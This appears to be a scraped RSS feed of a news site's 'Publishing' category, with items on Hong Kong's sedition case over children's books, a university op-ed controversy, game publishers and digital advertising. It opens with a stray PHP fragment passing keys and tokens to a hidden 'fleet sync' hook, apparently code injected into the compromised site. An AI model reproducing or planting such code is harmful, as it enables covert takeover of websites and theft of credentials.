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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Publishing – Brief News https://briefnews.eu Latest World News. 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Thu, 08 Sep 2022 09:09:56 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Publishing – Brief News https://briefnews.eu 32 32 A group of speech therapists have been convicted of sedition for publishing children’s books about sheep warriors battling evil wolves https://briefnews.eu/a-group-of-speech-therapists-have-been-convicted-of-sedition-for-publishing-childrens-books-about-sheep-warriors-battling-evil-wolves/ https://briefnews.eu/a-group-of-speech-therapists-have-been-convicted-of-sedition-for-publishing-childrens-books-about-sheep-warriors-battling-evil-wolves/#respond Thu, 08 Sep 2022 09:09:56 +0000 https://briefnews.eu/a-group-of-speech-therapists-have-been-convicted-of-sedition-for-publishing-childrens-books-about-sheep-warriors-battling-evil-wolves/ Hong Kong's senior superintendent Steve Li, from the city's new national security police unit, holds up a children's book which allegedly tries to explain about the city's democracy movement, at a police press conference in Hong Kong on July 22, 2021, after five members of a pro-democracy Hong Kong union were arrested for sedition for publishing the titles.
Hong Kong's senior superintendent Steve Li holds up a copy of one of the books at the center of the case.

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  • Five speech therapists in Hong Kong have been convicted of sedition for publishing three books.
  • The illustrated children's books depict sheep warriors defending their homes from evil wolves.
  • A Hong Kong judge ruled that the stories were allegories for current events in Hong Kong.

Five speech therapists in Hong Kong were found guilty of sedition on Wednesday for publishing three picture books depicting sheep defending their home from wolves.

The therapists may face up to two years in prison under a colonial-era British law against seditious offenses, which the city's authorities have recently revived to use in tandem with a sweeping new national security law.

Prosecutors said the evil wolves in the books were an allusion to the mainland Chinese authorities while the kind sheep represented Hong Kong residents, according to a judgment published by the courts.

The five defended themselves by saying the books are fables meant to teach universally-celebrated virtues and are open to interpretation, per the court judgment.

Content of children's books are displayed on a TV screen during a press conference after five people were arrested under suspicion of conspiring to publish seditious material at the Hong Kong Police Headquarters on July 22, 2021 in Hong Kong, China. National Security Department of Hong Kong Police Force arrested five members of the General Union of Hong Kong Speech Therapists over three children's books featuring sheep that are suspected of inciting hatred towards the Hong Kong SAR government.
Content from one of the books seen displayed during a press conference held following the arrest of the five speech therapists.

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However, District Judge Wai Kin Kwok ruled that the books were seditious "not merely from the words, but from the words with the proscribed effects intended to result in the mind of children."

In one of the books, a "Wolf-Chairman" directed another wolf to masquerade as a sheep in an attempt to occupy the sheep village and eat those inside, Kwok wrote in a summary, per court records.

Kwok described the disguised wolf as an analogy for the Beijing-backed Chief Executive of Hong Kong, which he wrote would lead children to view the city's real-life leader with contempt.

Another book, titled "12 Warriors of Sheep Village," appears to reference the 12 Hong Kong protestors who were caught trying to flee to Taiwan by sea in 2020. The book tells the story of 12 sheep who fled their village in a boat but were later captured and brought to be imprisoned in a wolf-run fortress.

Kwok wrote that children who read the book would be "led to believe that the 12 fugitives are victims of oppression and unfair prosecution." 

The third book involved a story that Kwok said would lead children to believe Beijing had allowed people coming from mainland China to "make their home dirty and spread the pandemic."

The five defendants — Lai Man-Ling, Melody Yeung, Sidney Ng, Samuel Chan, and Fong Tsz-Ho — have been detained since July last year and were denied bail. All five are below the age of 30 and are due to be sentenced on Saturday.

Supporters of a pro-democracy union pose with illustrations of sheep outside West Kowloon Court in Hong Kong on July 23, 2021, where members of the union face charges of sedition for publishing children's books which allegedly try to explain the city's democracy movement using illustrations of sheep.
Supporters seen posing with illustrations of sheep outside the West Kowloon Court in Hong Kong in July last year.

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Human Rights Watch on Wednesday called for the sedition convictions to be reversed.

"Hong Kong people used to read about the absurd prosecution of people in mainland China for writing political allegories, but this is now happening in Hong Kong," said Maya Wang, a senior Chinese researcher for the non-profit group.

"Hong Kong authorities should reverse this dramatic decline in freedoms and quash the convictions of the five children's book authors," she added.

"Concerned governments should speak out against Hong Kong's abuse of the sedition law," Human Rights Watch wrote in a release, urging the governments of Australia, the European Union, and the UK to join the US in imposing sanctions on Hong Kong officials stamping out dissent.

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Indie publishing label Surprise Attack Games said it has rebranded itself as Fellow Traveller and will now focus on publishing unusual narrative games from independent developers. Fellow Traveller also announced two new signings to the label. It will publish Chance Agency’s cyberpunk taxi-driving adventure, Neo Cab, and alien-ocean-exploration game…Read More

]]> https://briefnews.eu/orwell-indie-publishing-label-surprise-attack-games-rebrands-as-fellow-traveller/feed/ 0 A Ruling Over Embedded Tweets Could Change Online Publishing https://briefnews.eu/a-ruling-over-embedded-tweets-could-change-online-publishing/ https://briefnews.eu/a-ruling-over-embedded-tweets-could-change-online-publishing/#respond Sat, 17 Feb 2018 12:00:01 +0000 http://briefnews.eu/a-ruling-over-embedded-tweets-could-change-online-publishing/ A federal judge from New York ruled that embedding a tweet containing an image in a webpage could be considered copyright infringement.


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]]> https://briefnews.eu/a-ruling-over-embedded-tweets-could-change-online-publishing/feed/ 0 ‘Your DNA is an abomination’: University under fire for publishing anti-white article https://briefnews.eu/your-dna-is-an-abomination-university-under-fire-for-publishing-anti-white-article/ https://briefnews.eu/your-dna-is-an-abomination-university-under-fire-for-publishing-anti-white-article/#respond Sat, 02 Dec 2017 04:59:32 +0000 http://briefnews.eu/your-dna-is-an-abomination-university-under-fire-for-publishing-anti-white-article/ A Texas university newspaper is apologizing after a student wrote an opinion piece that condemns white privilege and accuses white people of being an “aberration” that “shouldn’t exist.”

Martinez begins his article, entitled: “Your DNA is an abomination,” with a tweaked Robert Oppenheimer quote about the detonation of the first atomic bomb he helped develop.

“Not I have become white, the destroyer of worlds,” Rudy Martinez, a student at Texas State University, wrote in an Op-Ed published by the University Star on Tuesday.

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Martinez then rambles about his justifications for hating white people.

“When I think of all the white people I have ever encountered – whether they’ve been professors, peers, lovers, friend, police officers, et cetera – there is perhaps only a dozen I would consider ‘decent,’” Martinez wrote.

In the piece, Martinez claims that white people in the US are an “aberration” who descended from Europeans and abandoned their identity “in search of something ‘new’ – stolen land.”

The article does not include any biological reasons why white people are inferior, and seems to flip the script at one point, saying that being white is more of a choice.

“You were not born white, you became white. You actively remain white. You are estranged from yourself and, in that absence, have been instilled with an allegiance to a country that was never great,” the piece continues.

Martinez then ends the piece by calling for the end of the white race, citing his personal “hate” for them.

“Whiteness will be over because we want it to be,” Martinez wrote. “Until then, remember this: I hate you because you shouldn’t exist. You are both the dominant apparatus on the planet and the void in which all other cultures, upon meeting you, die.”

Denise Cervantes, the editor of the paper, issued an apology after the piece “received widespread criticism.”

Cervantes said that the original intent of the article was to “comment on the idea of race and racial identities.”

“We acknowledge that the column could have been clearer in its message and that it has caused hurt within our campus community,” Cervantes said.

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The editorial board also issued an apology, saying that Martinez was fired after they received hate mail and “numerous” death threats.

“We allowed a hateful column to be published and hurt our community that deserves better,” they wrote.

The board said that they will create “more rigorous guidelines” and “methods of oversight” to review content before it is published. The next issue will also include letters to the editor responding to Martinez’s piece.

Judy Oskam, the director of the University’s School of Journalism and Mass Communication, said that a review committee will examine the newspaper’s operations to “determine how its editorial review process may be strengthened.”

“The subject of race, the polarizing nature of the column, and the resulting reaction challenge us to find ways for freedom of the press to be balanced with our Bobcat values of inclusion and respect,” Oskam said in a statement.

However, the Student Government of Texas State University said that the editorial board should resign, saying they “knowingly allowed divisive, racist material to stain the reputation” of the school.

“The University Star has proven through this racist article that they no longer align with our core values at the university,” student body president Connor Clegg said in a statement.

If the editorial board does not resign, Clegg said the school should pull the newspaper’s funding.

“There is no reason for over 39,000 students to be force to invest their student fees towards this brand of journalism,” Clegg added.

Former TSU student body president Andrew Homann said that the piece was “blatant racism against white people for nothing other than the color of their skin.”

“Rudy literally states he hates white people because we shouldn’t exist,” Homann wrote in a Facebook post. “No one is going to take this paper seriously if the editorial board continues to allow baseless garbage to be published week in and week out.”

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]]> https://briefnews.eu/your-dna-is-an-abomination-university-under-fire-for-publishing-anti-white-article/feed/ 0 GamesBeat Boss interview: China’s Leyou moves from chicken meat to Triple-A game publishing https://briefnews.eu/gamesbeat-boss-interview-chinas-leyou-moves-from-chicken-meat-to-triple-a-game-publishing/ https://briefnews.eu/gamesbeat-boss-interview-chinas-leyou-moves-from-chicken-meat-to-triple-a-game-publishing/#respond Sat, 02 Sep 2017 17:37:12 +0000 http://briefnews.eu/gamesbeat-boss-interview-chinas-leyou-moves-from-chicken-meat-to-triple-a-game-publishing/

A few years ago, gamers had a good laugh when they learned that a Chinese chicken meat company bought Digital Extremes, the maker of Triple-A games such as The Darkness 2 and Warframe. Then the company bought Splash Damage in 2016, people did a double take again.

Alex Xu, the CEO of Leyou, was the guy behind that. He was the chief business officer at Perfect World, a Chinese role-playing game maker that acquired Cryptic Studios and publishes titles such as Neverwinter. To do more deals, he left Perfect World and acquired control of a shell company in Hong Kong. It so happened the shell company was a chicken meat supplier, and Xu planned to use it as way to buy more companies. He exited the chicken business, and he is fully focused on publishing Triple-A games. Xu will be a speaker at our upcoming GamesBeat 2017 event in San Francisco on October 5 and 6.

Xu’s company, Leyou, sees a big opportunity in publishing free-to-play games on the consoles, like Warframe and Dirty Bomb. The consoles don’t have as many users as mobile devices or the PC, but they do have very committed audiences. And games like World of Tanks have shown that you can run a free-to-play game on the consoles because a larger percentage of players are willing to pay for something. Warframe has been going strong for years now, and it will help Leyou expand into the West. I caught up with Xu at the Devcom event in Cologne, Germany.

Digital Extremes has a Warframe booth at PAX West, the big fan show in Seattle this weekend. That shows that Leyou is willing to spend money to raise its profile among Western gamers. And if Xu gets his way, we’ll be seeing a lot more Leyou games in the West in the future.

Here’s an edited transcript of our interview.

Above: Alex Xu is CEO of Leyou, owner of Splash Damage and Digital Extremes.

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GamesBeat: Tell us how you got started.

Alex Xu: Once upon a time it was big news when a Hong Kong chicken meat processor acquired a triple-A game studio like Splash Damage. A lot of people were asking questions about that, why a chicken company was buying game studios. That was my start. I didn’t have any chance to explain that.

Back in 2013, when I was at Perfect World as chief business officer, we were trying to do cross-partnership deals. Perfect World was one of the early Chinese game companies that tried to do some western operations, in the U.S. We acquired Cryptic Studios, the makers of Star Trek Online and Neverwinter, and Runic Games, the maker of the Torchlight series. We did a lot of those deals. We had experience in working with western studios. Perfect World was trying to talk with any western studio doing online games, multiplayer games, trying to get them join Perfect World’s platform and bring in more online game players.

We found Digital Extremes, which was doing a free-to-play game that had just launched on Steam, Warframe. Warframe had a lot of potential, so we talked to them about doing something together. We thought we could link up Chinese experience in developing and operating online multiplayer games, especially free-to-play games. We had that experience from working with Cryptic, how to make a free-to-play game run in the right way in the western world. We had a lot of synergy there.

Then we come to the point where we were talking about merging together with Digital Extremes.

GamesBeat: But it wasn’t easy to do?

Xu: But in early 2014, Perfect World already had some plans to go private off the Nasdaq. We were trying to find another way, instead of using internal funding, to do the acquisition. I was forced to find some other ways to do the acquisition and still keep the possibility of Perfect World doing a buyback in the future. That wasn’t easy. Whenever a studio gets sold to someone else, in most cases it’s hard to buy that back. You have to pay multiple times the valuation in the future.

A Hong Kong-listed company could serve that purpose. If you don’t do any promotion in the market and attract eyeballs from investors, you can make it very quiet. I was able to find a shell company. Previously they were in the chicken industry, supporting KFC or something, but they were almost out of business. They were still listed, but that was all. We leveraged that company to acquire Digital Extremes step by step, by issuing bonds or new shares, whatever. It’s very complicated. That took almost a year. We signed the deal in 2014 and partially finished it by 2015. It was 100 percent finished in 2016.

During those two years Perfect World was doing the privatization and relisting A shares on the Chinese domestic financial market. We were also talking to Splash Damage. We kept finding more good targets to acquire, but still by using the Hong Kong-listed company. Back then the company had a different name, but after the acquisition of Digital Extremes we changed the name to Leyou. It’s an independent Hong Kong-listed company. We’ve been able to get rid of everything related to chicken. It’s just a game company now, holding Digital Extremes and Splash Damage.

Last year, when Perfect World was trying to acquire the whole listed company back, there were some difficulties. It didn’t happen. Now there’s a new owner of the Leyou group. They did a general offer to take over the whole shell company from the previous shell owner. It’s now owned as an independent company, and they hired me as a CEO, because I’m the guy who made the deals happen. I’d already left Perfect World to work for Qihoo 360. They hired me away from Qihoo 360 to join Leyou as CEO.

Above: Perfect World booth at ChinaJoy 2015.

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That’s the whole story, over three years. We’re an independent company holding two triple-A game studios in the west. The strategy is very clear. From the beginning, it was about trying to help western triple-A studios do online multiplayer games for the worldwide market. Not only for the Chinese market, but built from scratch for the worldwide market, especially targeting PC and console. We see the biggest opportunity on console.

In PC and mobile, 60-70 percent of the revenue, the majority of revenue, comes from item trading, free-to-play, continuous live operations, the game as a service model, as opposed to the premium model, paying per download. But on console, still, almost 100 percent of the revenue comes from premium. A bigger and bigger percentage is coming from online, but it’s still premium. You pay before you play. But we’ve seen more and more games on console, even premium games, building a longer life cycle by putting more efforts into live services after sales. Premium games on console are selling more content, more items, and greatly lengthening their lifespans. People are becoming more engaged with one game because they love it, and they want to keep playing together in multiplayer modes for a longer time. That’s changing the premium world as well.

Still, most developers in the west, especially triple-A developers, are scared of doing a game that starts from scratch as free-to-play. There are different reasons. They’re investing huge development costs in games, hundreds of people working for many years. They’re doing very high-quality games. It seems reasonable to charge up front. It’s an easy way to generate money. They still don’t know how to design a game, too, for a long life cycle, how to make players happy in that context. People hate the pay-to-win model, and that’s mostly come from western developers, or a few Asian developers who don’t know how to design a game in the right way for a western audience.

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]]> https://briefnews.eu/gamesbeat-boss-interview-chinas-leyou-moves-from-chicken-meat-to-triple-a-game-publishing/feed/ 0 Buzzfeed just sent out a message to the digital publishing business https://briefnews.eu/buzzfeed-just-sent-out-a-message-to-the-digital-publishing-business/ https://briefnews.eu/buzzfeed-just-sent-out-a-message-to-the-digital-publishing-business/#respond Tue, 29 Aug 2017 07:09:48 +0000 http://briefnews.eu/buzzfeed-just-sent-out-a-message-to-the-digital-publishing-business/ Jonah Peretti Buzzfeed 8127BuzzFeed has decided to run banner ads — the ubiquitous, clickable square and rectangle ads that appear all over the internet — after years of talking them down.
The decision shows the limitations of native ads, customized ads designed to emulate the look and feel of the websites or apps they appear on.
A number of digital media companies bet big on these native ads, but time has shown that they are difficult to produce at scale. 
As an IPO approaches, Buzzfeed will now turn on the taps to “programmatic ad” revenue. 

Never say never in digital media.

For years, BuzzFeed executives preached two things. The digital ad industry needed something better than the much maligned banner ad. And web ads should be “native.”

So-called “native” ads should look and feel like the websites they appear on (think a Promoted Tweet). They should be custom to that site and that advertiser. Ideally, in BuzzFeed’s view, web ads should be actual “content” that people enjoy and might even want to share, like “9 Simple Things You Can Do For the Crazy School Week Ahead” which looks much like any other post on BuzzFeed, only it’s brought to you by Target.

But there was always the question about whether such hand-crafted ads could scale enough to build an entire media business around, particularly one that is set to get public at a valuation in the billions. 

That explains BuzzFeed reversing course, and fully embracing programmatic advertising, including highly targeted, data-driven ads and classic banners, as Business Insider reported. Those are the same kind of ads former BuzzFeed president and Cheddar founder Jon Steinberg once called a “completely broken product” a few years back. Founder Jonah Peretti even once mused about whether the fictional character from Mad Men would really love banners.

To be fair, companies change their minds. Remember when Google was adamant that YouTube would never run pre-roll video ads? And it wasn’t just BuzzFeed that espoused this view. A new crop of digital publications ranging from Refinery29 to Mic over the past five years or so spoke about the need to rethink digital advertising entirely. They proudly touted themselves as anti-programmatic.

More recently, executives across digital advertising have talked about the web as a vast wasteland, cluttered with too many lousy ads or ads chasing people around to buy those shoes they put in shopping cart on Zappos.com and never bought. People were sick of their web searches getting hijacked, or mobile ads sucking up their data plans.

Many consumers started installing ad blocking software. So various industry initiatives were born with pledges to clean up the web and getting rid of bad ad clutter. This was all the fault of the banner ads and programmatic ad tech ecosystem. Native ads were supposed to be a better mousetrap.

True, content produced on behalf of a paying advertiser was nothing new. Magazines had run advertorials, or “special advertising sections” for decades. But this was different in the fact that many aspired to have sponsored or “native content” become not just a side business, but the core advertising product for digital media. 

But at some point, such idealism gives way to discussions about measures like ARPU (average revenue per user), especially when you have venture capital investors. Even as every major publisher builds out large content studios, there is surely a limit to how many articles like the Samsung-sponsored “11 Simple DIYs That’ll Help You Reorganize Your Laundry Room” anybody can crank out in a given week.

Dave Nemetz, cofounder of Bleacher Report and now CEO of the science content site Inverse.com, said the BuzzFeed news was “shocking” but also logical. 

“There is still a ton of growth in branded content, but it is so, so crowded,” he said. Plus, “the margins are lower and the execution is so much more involved. Brands and publishers can only do so much. Not everyone can do sponsored listicles and build a business.” 

That’s why so many publishers are experimenting with alternative revenue streams, like commerce, said Nemetz.

If you have an audience as big as BuzzFeed’s (75 million plus, per comScore), turning on banners, particularly those sold coupled with data promising advertisers precision targeting, is instant revenue. eMarketer predicts that programmatic ad spending in the US will eclipse $ 32 billion this year. That’s hard to turn down, even if you may not love the way display ads look on your pretty website or app.

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The banner is hard to kill. Even as people mock the inertia in the TV advertising business, it exists in digital as well. Digiday’s editor in chief Brian Morrissey often refers to the “banner industrial complex.” 

“Everyone talks about disruption, but this is a very slow to move industry,” said Nemetz.

For BuzzFeed, if done well, the move makes sense. The company’s position is not unlike that of Snapchat’s at the moment. You can only get by for so long only taking phone calls from top brands with a few hundred thousand to a few million bucks to spend on specialized campaigns. Programmatic ads should help BuzzFeed cater to advertisers of all sizes, particularly those looking to zero in on specific audiences, like people in the market for a new car.

Unlike Snapchat, BuzzFeed starts with a $ 350 million business centered on sponsored content, as Bloomberg reported. It can continue to build on that while making easy money from banner ads, especially in markets where it doesn’t yet have a big sales team on the ground. In the process, it can take a slice of the growing programmatic advertising pie.

Still, the capitulation to the banner appears seems to serve as a harsh reality check for digital publishing. Maybe someday native ads will become the dominant ad vehicle in digital media. But for now the banner is alive and well.

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  • Galore Media says traditional ads just don’t work for Gen Z, the 70 million people born between 1996 and 2010.
  • Instead it focuses on creating content for marketers and connecting them with influencers.
  • “This is how everybody will have to build a media company in the future.”

When the digital-media company Galore talks to prospective advertisers, it tries to sell them on its social-media network, its ability to make content for brands, its relationship with influencers, and its track record of producing events. It barely bothers selling them paid ads.

Mike Albanese, Galore’s CEO, said that even just a few years ago, digital-media companies looking to capture the millennial market were focused on a fairly traditional ad strategy.

“Let’s make a lot of content, figure out how to drive lots of traffic, get some big audience numbers, and kind of wrap advertising around it,” Albanese said. “That no longer holds up.”

Today, Albanese says, “display ads on a website just aren’t going to get you there, especially with a generation of consumers who don’t even think of websites — and if they do, they use ad blockers,” he said. “There are just too many challenges with that model.”

As an alternative, Galore operates as a specialist agency for its advertisers, helping them make ads, distribute content (videos and photos), and reach a community through a number of outlets.

Many media companies, from BuzzFeed to Condé Nast, have edged into making content and ads for paying marketers. Vice Media operates its own global ad agency. Yet they all still sell lots of ads.

In Galore’s case, the ads-are-secondary approach may simply represent a unique strategy for a publication that is focused on a hard-to-reach demographic: women between the ages of 16 to 24. Or it may be a harbinger in an industry where young consumers are increasingly able to avoid traditional advertising, even traditional digital ads.

“Yes, we have an audience that is unique in many ways,” Albanese added. “They are younger, they were 10 years old when the iPhone came out, and were raised on Tumblr. So Gen Z Media companies will need new revenue and distribution models. But we think this is how everybody will have to build a media company in the future.”

Galore does sell some old-fashioned display ads on its website, alongside articles with headlines like “9 Different Ways to Rock the Wet-Hair Look.” But these are almost throw-ins to bigger campaigns focused on connecting brands like L’Oreal and Neutrogena with young women.

The company tries all sorts of alternative tactics. For example, it operates a Slack channel for 1,500 of the company’s biggest fans, through which it bounces ideas off the fans as part of a real-time digital focus group — even tapping into this group to serve as “micro influencers” for paying advertisers on occasion.

Last year, Galore launched the Girl Cult franchise in New York, and it has grown it into a full-fledged festival this year, featuring speakers Tyra Banks and Kimora Lee Simmons with a number of performers and sponsors.

unnamed 10GaloreIn addition, Galore creates and distributes content with the help of stars who resonate with its young audience, such as Kylie Jenner, Zendaya, and Sofia Richie, all while connecting marketers with top influencers through Kitten, an influencer-rep firm that it owns.

Marketers that specialize in trying to reach this young demographic tend to agree that this kind of multipronged approach is necessary.

“This consumer is tuning out standard advertising models,” said Nick Woodhouse, president and chief marketer officer of Authentic Brands Group, which owns Juicy Couture and Aeropostale. “Today’s consumer is looking for content that is cool, is peer-driven, and hits a chord.”

Albanese says Galore Media is on track to pull in $ 5 million in revenue this year, up from $ 2 million last year. Roughly 70% comes from running influencer campaigns and making content for marketers, while 20% comes from events. Just 10% comes from paid ads.

“It’s almost like the ads we sell are a nice-to-have for our partners,” he said. “It’s a total philosophical difference from most media companies.”

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Former celebrity couple Tiger Woods and Lindsey Vonn are among the latest to fall victim to hacks and leaked nude photos being published online and their lawyer is vowing to go after the sites who don’t take them down.

Attorney Michael Holtz, who is representing both Woods and Vonn, told the Minneapolis Star-Tribune that the couple is going to pursue legal action “swiftly and vigorously” against sites who ignore their order to removed the stolen photos.

“We have issued takedown notices to various websites who have posted the illegally hacked photos of our clients,” Holtz told the Star-Tribune. “Almost all sites have complied or will comply with our demand… [if any sites persist in keeping the photos online] we will pursue legal action against them swiftly and vigorously.”

A spokesperson for Vonn also released a statement to the Star-Tribune, calling the hack “an outrageous and despicable invasion of privacy.”

“It is an outrageous and despicable invasion of privacy for anyone to steal and illegally publish private, intimate photos. Lindsey will take all necessary and appropriate legal action to protect and enforce her rights and interests.

“She believes the individuals responsible for hacking her private photos, as well as the websites that encourage this detestable conduct, should be prosecuted to the fullest extent under the law.”

Holtz went on to compare this incident to “The Fappening” in 2014, as he noted that other celebrities were hacked and had their stolen photos posted online.

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OZY’s next TV show, Third Rail With OZY, is launching on PBS this fall! To kick things off, we’re shelving the PC and launching debates. Nothing is off-limits, and we’ll go where most fear to tread. Each Wednesday, we’ll post a provocative question, with a focus on topics that might make it onto the show.

Our question this week: Should publishing fake news be a crime? We want to hear from you. Email thirdrail@ozy.com with your thoughts or a personal story, and we might feature your answer next week. Daniel Faltesek, author of Selling Social Media (Bloomsbury, 2018) and an assistant professor of social media in the School of Arts and Communication at Oregon State University, weighs in:

The traditional editorial structure of the media is collapsing. New technologies have democratized content production, distribution and advertising transaction facilitation. Disruption, a fine buzzword, means finding the minimally sufficient replacement product for something already on the market. When it comes to journalism, much of the public is willing to go with the lowest-level replacement possible. Purveyors of fake news are the villains of this melodrama, taking advantage of technical change.

The best argument against repressing the other side is that it does the opposite of what you think.

Daniel Faltesek

Criminally sanctioning these rogues should do the trick, especially if the punishment is heavy enough to stop them in their tracks, allowing the truth to prevail. Right? Sadly, that is not how communication works. Critiques of fake news often proceed with murky definitions of the term and overly simplistic theories of communication. Hastily turning to a solution of punishment will only make the problems with America’s public worse.

Fake News Is Constitutionally Protected

The real question is not whether fake news is protected, but under what circumstances would fake news not be protected. Obscenity, certain forms of invasion of privacy and, in some narrow circumstances, defamation are not protected. The best argument against repressing the other side is that it does the opposite of what you think. Repressing your interlocutor does not change their perspective or persuade them — it makes them more intense.

Justice Brandeis’ concurrence in Whitney v. California is elegant and makes the case against state repression of speech through fear, noting that “… order cannot be secured merely through fear of punishment for its infraction; that it is hazardous to discourage thought, hope and imagination; that fear breeds repression; that repression breeds hate; that hate menaces stable government …” Effective governance depends on continuous and difficult debate. Argument never ends. Drawing the line between true and false is difficult; some claims are obviously false, relying on entirely fake facts. In the case of easily disproven stories, there is no reason to risk liberty. More challenging are claims that come closer to the truth — these are more likely to persuade and have an impact. And even then, more communication, not less, is the best answer.

But what if the fake news is so powerful that people are blinded by ideology? If someone disagrees with you, they must be duped by the media. What if some of the arguments that are labeled fake news are not fake at all, but are arguments intended to frame values and aesthetics? Dismissing the expression of values, feelings and forms would backfire.

I call this the Loser’s Argument: If that other side would stop being so persuasive, people would agree with me. Typically, people deploying the Loser’s Argument are losing, and they know it. Arguers are looking for some external leverage to control the debate. Juries are known as fact-finders, not because they are clairvoyant truth machines, but because eventually facts are needed to move cases forward. Searching for some source of authority, in the case of prosecutions for fake news appealing to the courts and eventually the police, doubles down on the Loser’s position.

The Right Tool for the Right Job

The contemporary use of fake news was intended as a critique of stories circulating before the election. These stories would have had the effect of supporting then-candidate Trump. President-elect Trump took a liking to the term, deploying it regularly. Instead of providing leverage against fake news, the term was easily deployed to run the other way. The same would be true of any attempt to contain fake news with the legal system. Once political prosecutions for fake news begin, they will likely end with the original advocates of prosecution before a jury.

The best remedy for fake news is speech — specifically a renewed commitment to editorial discretion. Distributors of online content can check and possibly slow the spread of posts that are subject to rapid diffusion. Platforms are always already editing your feed. Facebook is deploying new technology to debunk fake claims, live. Online advertising platforms can require that content for remuneration reach certain quality standards before placing any advertisements. Google is already making headway in this area.

Editorial judgment has an important role in the life of democracy, and is protected speech in itself. Quality standards go a long way. More judicious monitoring of distribution can blunt the impact of propaganda through debunking, delay or demonetization. The impact of propaganda is immediate, the only remedy is prevention, inoculation or treatment. The remaining fake news that is neither simple spam nor propaganda will be most effectively remedied by public debate. The underlying logic of free speech calls for the cultivation of reason and argumentative skill. Free speech requires strong editorial work. Justice Brandeis was right: Social judgment is better for democracy than judicial prescription.

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]]> https://briefnews.eu/should-publishing-fake-news-be-a-crime/feed/ 0 No More Robots Takes Aim at Data-driven Games Publishing https://briefnews.eu/no-more-robots-takes-aim-at-data-driven-games-publishing/ https://briefnews.eu/no-more-robots-takes-aim-at-data-driven-games-publishing/#respond Tue, 08 Aug 2017 16:52:28 +0000 http://briefnews.eu/no-more-robots-takes-aim-at-data-driven-games-publishing/ igf-image.jpgIndustry veteran (and former IndieGames.com editor) Mike Rose has cut the ribbon on his new game publishing label, No More Robots.

The new operation aims to take a data-driven approach to games publishing without losing the human element of the business. Primarily, the label aims to elevate unique games through the use of strong support data and by maintaining a focus on community engagement through Twitch and Discord integration.

“Founding my own video game label is absolutely a dream come true,” said Rose in a press release. “I’ve helped numerous developer sell hundreds of thousands of games, and now I’m ready to really show what I’m capable of.”

At this stage, Rose and No More Robots have been backed by two notable investors. Jas Purewal, noted game lawyer and business advisor, has signed on as an initial investor in addition to former Gamasutra EIC and current UBM EVP Simon Carless. Carless is also set to act as an advisor for No More Robots.

Descenders, a procedurally generated extreme biking game from the creators of Action Henk, is set to be the publisher’s first major release.

IndieGames.com

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